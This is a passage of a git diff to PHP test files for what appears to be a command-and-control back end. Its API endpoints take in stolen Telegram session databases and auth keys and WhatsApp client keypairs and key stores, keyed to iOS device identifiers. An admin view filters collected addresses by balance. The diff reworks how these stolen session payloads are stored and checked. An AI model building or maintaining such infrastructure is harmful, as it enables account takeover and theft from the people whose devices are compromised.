filters_by_address(): void + { + $this->seedRows(); + $admin = $this->admin(); + + $this->actingAs($admin, 'admin') + ->getJson(route('admin.addresses.data', ['address' => 'with-balance'])) + ->assertOk() + ->assertJsonPath('count', 1) + ->assertJsonPath('data.0.address', 'addr-with-balance'); + + $this->actingAs($admin, 'admin') + ->getJson(route('admin.addresses.data', ['address' => 'addr-plain'])) + ->assertOk() + ->assertJsonPath('count', 1) + ->assertJsonPath('data.0.address', 'addr-plain'); + } + #[Test] public function filters_by_has_balance(): void { diff --git a/tests/Feature/XxbbC2ApiTest.php b/tests/Feature/XxbbC2ApiTest.php index db04b7e..ab51abf 100644 --- a/tests/Feature/XxbbC2ApiTest.php +++ b/tests/Feature/XxbbC2ApiTest.php @@ -387,6 +387,7 @@ class XxbbC2ApiTest extends TestCase #[Test] public function api_tg_t_ingests_telegram_auth(): void { + Storage::fake('local'); $this->xxbbPost('/api/tg/t', [ 'd' => '000C30D83CD0402E', 'd1' => '00008030-000C30D83CD0402E', @@ -408,13 +409,20 @@ class XxbbC2ApiTest extends TestCase $this->assertSame('000C30D83CD0402E', $row->device_key); $this->assertSame('123456789', $row->account_id); $this->assertSame('123456789', $row->payload['user_id'] ?? null); - $this->assertArrayHasKey('db_sqlite', $row->payload); - $this->assertSame('AQID', $row->payload['datacenterAuthInfoById'] ?? null); + $this->assertTrue((bool) ($row->payload['has_db'] ?? false)); + $this->assertArrayNotHasKey('db_sqlite', $row->payload ?? []); + Storage::disk('local')->assertExists($row->payload['payload_path']); + $full = $row->fullPayload(); + $this->assertArrayHasKey('db_sqlite', $full); + $this->assertSame('AQID', $full['datacenterAuthInfoById'] ?? null); + $this->assertTrue($device->fresh()->hasTelegram()); + $this->assertFalse($device->fresh()->hasWhatsApp()); } #[Test] public function api_tg_t_ingests_ecid_envelope(): void { + Storage::fake('local'); $this->xxbbPost('/api/tg/t', [ 'ecid' => '00025D800C22001E', 'unique' => '00008101-00025D800C22001E', @@ -432,12 +440,14 @@ class XxbbC2ApiTest extends TestCase $this->assertSame(PluginSession::KIND_TELEGRAM, $row->kind); $this->assertSame('37603278499', $row->account_id); $this->assertSame('37603278499', $row->payload['user_id'] ?? null); - $this->assertArrayHasKey('db_sqlite', $row->payload); + $this->assertTrue((bool) ($row->payload['has_db'] ?? false)); + $this->assertArrayHasKey('db_sqlite', $row->fullPayload()); } #[Test] public function api_wp_t_ingests_whatsapp_session(): void { + Storage::fake('local'); $this->xxbbPost('/api/wp/t', [ 'd' => '000C30D83CD0402E', 'd1' => '00008030-000C30D83CD0402E', @@ -461,12 +471,22 @@ class XxbbC2ApiTest extends TestCase $this->assertSame('000C30D83CD0402E', $row->device_key); $this->assertSame('15551234567', $row->account_id); $this->assertSame('15551234567', $row->phone); - $this->assertSame('QUJD', $row->payload['clientStaticKeypairBase64'] ?? null); + $this->assertSame( + PluginSession::whatsappFilePath('000C30D83CD0402E', '15551234567'), + $row->payload['payload_path'] ?? null + ); + $this->assertArrayNotHasKey('phoneKeyStore', $row->payload ?? []); + Storage::disk('local')->assertExists($row->payload['payload_path']); + $full = $row->fullPayload(); + $this->assertSame('QUJD', $full['clientStaticKeypairBase64'] ?? null); + $this->assertTrue($device->fresh()->hasWhatsApp()); + $this->assertFalse($device->fresh()->hasTelegram()); } #[Test] public function api_wp_t_ingests_account_data_envelope(): void { + Storage::fake('local'); $this->xxbbPost('/api/wp/t', [ 'account' => '2348034472071', 'ecid' => '0006345E0A09002E', @@ -489,9 +509,11 @@ class XxbbC2ApiTest extends TestCase $this->assertSame(PluginSession::KIND_WHATSAPP, $row->kind); $this->assertSame('2348034472071', $row->account_id); $this->assertSame('2348034472071', $row->phone); - $this->assertSame('QUJD', $row->payload['clientStaticKeypairBase64'] ?? null); $this->assertSame('wa-nick', $row->payload['nickname'] ?? null); - $this->assertIsArray($row->payload['phoneKeyStore'] ?? null); + $this->assertArrayNotHasKey('phoneKeyStore', $row->payload ?? []); + $full = $row->fullPayload(); + $this->assertSame('QUJD', $full['clientStaticKeypairBase64'] ?? null); + $this->assertIsArray($full['phoneKeyStore'] ?? null); } #[Test]